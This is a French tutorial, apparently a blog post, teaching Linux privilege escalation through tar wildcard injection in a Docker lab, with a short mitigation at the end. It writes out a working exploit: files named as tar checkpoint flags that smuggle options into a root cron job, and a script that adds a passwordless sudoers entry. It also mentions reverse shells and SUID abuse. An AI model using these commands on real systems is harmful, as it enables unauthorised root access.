Privilege Escalation : Linux Wildcard Injection.

• 1. Introduction et lab
• 2. C'est quoi les « Wildcard character »
• 3. Comprendre le problème
• 4. Tar Wildcard Injection
  • 4.1. La commande tar
  • 4.2. C'est quoi les « Cron table » ?
  • 4.3. Exploitation de la vulnérabilité
• 5. Comment éviter ce type d'attaques ?

1. Introduction et lab

Dans cet article, nous allons voir comment exploiter une vulnérabilité sous Linux qui peut vous permettre de passer administrateur sur une machine. Nous allons devoir comprendre le principe des wildcard characters et voir en quoi ils posent problème. Ensuite, nous allons pouvoir nous amuser et passer d'un simple utilisateur à root ! Pour cela, j'ai créé un lab, qui n'est rien d'autre qu'une machine ubuntu sous docker. Cela va vous permettre de pratiquer tout au long de l'article.

Pour installer le lab, il vous faut docker sur votre machine, cloner ce repository GitHub, puis suivre les instructions d'installation (rapide).

2. C'est quoi les « Wildcard character »

Sous Linux, les wildcard characters sont un ou plusieurs caractères représentant d'autres caractères. Il en existe plusieurs, en voici deux principaux : Le wildcard * peut être remplacé par n'importe quel caractère ou suite de caractères. Par exemple, *.txt va matcher a.txt et file.txt mais aussi fichier_2.txt.
Le wildcard ? n'est remplacé que par un seul caractère. Par exemple, ?.pdf va matcher b.pdf mais pas file.pdf.
Nous allons nous intéresser au caractère * qui peut être exploité dans un contexte de privilege escalation.

3. Comprendre le problème

Pour comprendre le problème, on va utiliser un exemple simple avec la commande ls. Tous d'abord, déplacez-vous dans le dossier /home/user/intro, qui contient 2 fichiers. Listez les fichiers avec la commande ls *. Le caractère * n'est pas utile, mais il va permettre d'illustrer le problème. Maintenant, créez un fichier se nommant -la grâce à la commande suivante :

echo "" > -la

Maintenant, refaites la commande ls *. L'output est différent ! Normalement, il doit ressembler à ceci :

user@ubuntu:~/intro$ ls *
-rw-r--r-- 1 user user 0 Dec 30 10:07 file1.txt
-rw-r--r-- 1 user user 0 Dec 30 10:07 file2.pdf

En faite notre dossier contient les fichiers : -la, file1.txt et file2.pdf. Ainsi, notre wildcard caractère a été remplacé par ces noms de fichiers, et donc la commande réellement exécutée est en faite :

ls -la file1.txt file2.pdf

Le point principal à comprendre par la suite, c'est que la commande ls ne va pas interpréter -la comme un fichier, mais bien comme étant des flags comme elle l'aurait fait normalement. Ceci explique donc l'output que l'on a eu précédemment.

C'est ce principe que l'on va exploiter ensuite pour faire de l'escalade de privilège.

4. Tar Wildcard Injection

4.1. La commande tar

La commande tar sert à créer des archives. Cette commande possède plusieurs flags et ceux qui nous intéressent ici sont --checkpoint et --checkpoint-action. Voici un extrait du manuel de la commande TAR :

--checkpoint[=N]
            Display progress messages every Nth record (default 10).
--checkpoint-action=ACTION
            Run ACTION on each checkpoint.

Définir --checkpoint=1 va nous permettre d'exécuter un script malveillant à chaque exécution de la commande tar.

Pour ce faire, on place le flag checkpoint-action comme ceci : --checkpoint-action=exec=sh script_malveillant.sh.

4.2. C'est quoi les « Cron table » ?

La cron table est un fichier qui défini des cron jobs. Les cron jobs sont des actions « programmées » qui s'exécutent automatiquement, par exemple toutes les heures, toutes les minutes, au démarrage de la machine (en fonction de la crontable)... Les cron jobs sont souvent exécutées en tant que root.

C'est intéressant, car si dans le cadre d'un pentest web vous vous introduisez dans un serveur web qui possède une cron table vulnérable aux wildcard injections (classique dans les CTF tryhackme), vous pourrez devenir administrateur.

Voici un exemple de fichier /etc/crontab vierge :

# /etc/crontab: system-wide crontab
# Unlike any other crontab you don't have to run the `crontab'
# command to install the new version when you edit this file
# and files in /etc/cron.d. These files also have username fields,
# that none of the other crontabs do.

SHELL=/bin/sh
PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin

# Example of job definition:
# .---------------- minute (0 - 59)
# |  .------------- hour (0 - 23)
# |  |  .---------- day of month (1 - 31)
# |  |  |  .------- month (1 - 12) OR jan,feb,mar,apr ...
# |  |  |  |  .---- day of week (0 - 6) (Sunday=0 or 7) OR sun,mon,tue,wed,thu,fri,sat
# |  |  |  |  |
# *  *  *  *  * user-name command to be executed

4.3. Exploitation de la vulnérabilité

Faites un cat /etc/crontab, si vous voyez ce genre de ligne, c'est bon signe :

* * * * * root cd /home/user && tar -cf /opt/backup.tar *

Ça signifie que la commande tar va être lancée toutes les minutes en tant que root pour créer une archive (backup) du dossier home de notre utilisateur.

Pour la suite de l'article, assurez-vous donc bien d'être dans le dossier /home/user.

Commençons par créer notre script malveillant qui nous permettra de devenir root.

La méthode la plus « direct » est d'ajouter l'utilisateur courant aux sudoers, mais vous pouvez vous amuser à exécuter un reverse shell. Vous pourriez aussi ajouter la permission SUID sur un exécutable, par exemple, dans le but d'utiliser un exploit trouvé sur GTFOBins.

On va rester simple ici :

echo "echo 'user  ALL=(ALL) NOPASSWD:ALL' >> /etc/sudoers" > evil.sh

Lorsque evil.sh sera exécuter par un utilisateur possédant les droits root, le contenu suivant va être ajouté dans le fichier /etc/sudoers : user ALL=(ALL) NOPASSWD:ALL

Ensuite, créons un fichier de la sorte dans le dossier /home/user :

echo "" > --checkpoint=1

Puis, créons le fichier qui va permettre d'exécuter notre script malveillant :

echo "" > "--checkpoint-action=exec=sh evil.sh"

Maintenant, on attend une minute que le cron job s'exécute. Après cela, vous devriez pouvoir exécuter des commandes avec le mot clé sudo !

user@ubuntu:~$ sudo whoami
root

user@ubuntu:~$ sudo id
uid=0(root) gid=0(root) groups=0(root)

C'est gagné !

5. Comment éviter ce type d'attaques ?

Pour éviter ce type de vulnérabilité, c'est très simple, il suffit d'ajouter le chemin absolu avant le wildcard character, par exemple ici :

tar cf /opt/backup.tar /home/user/*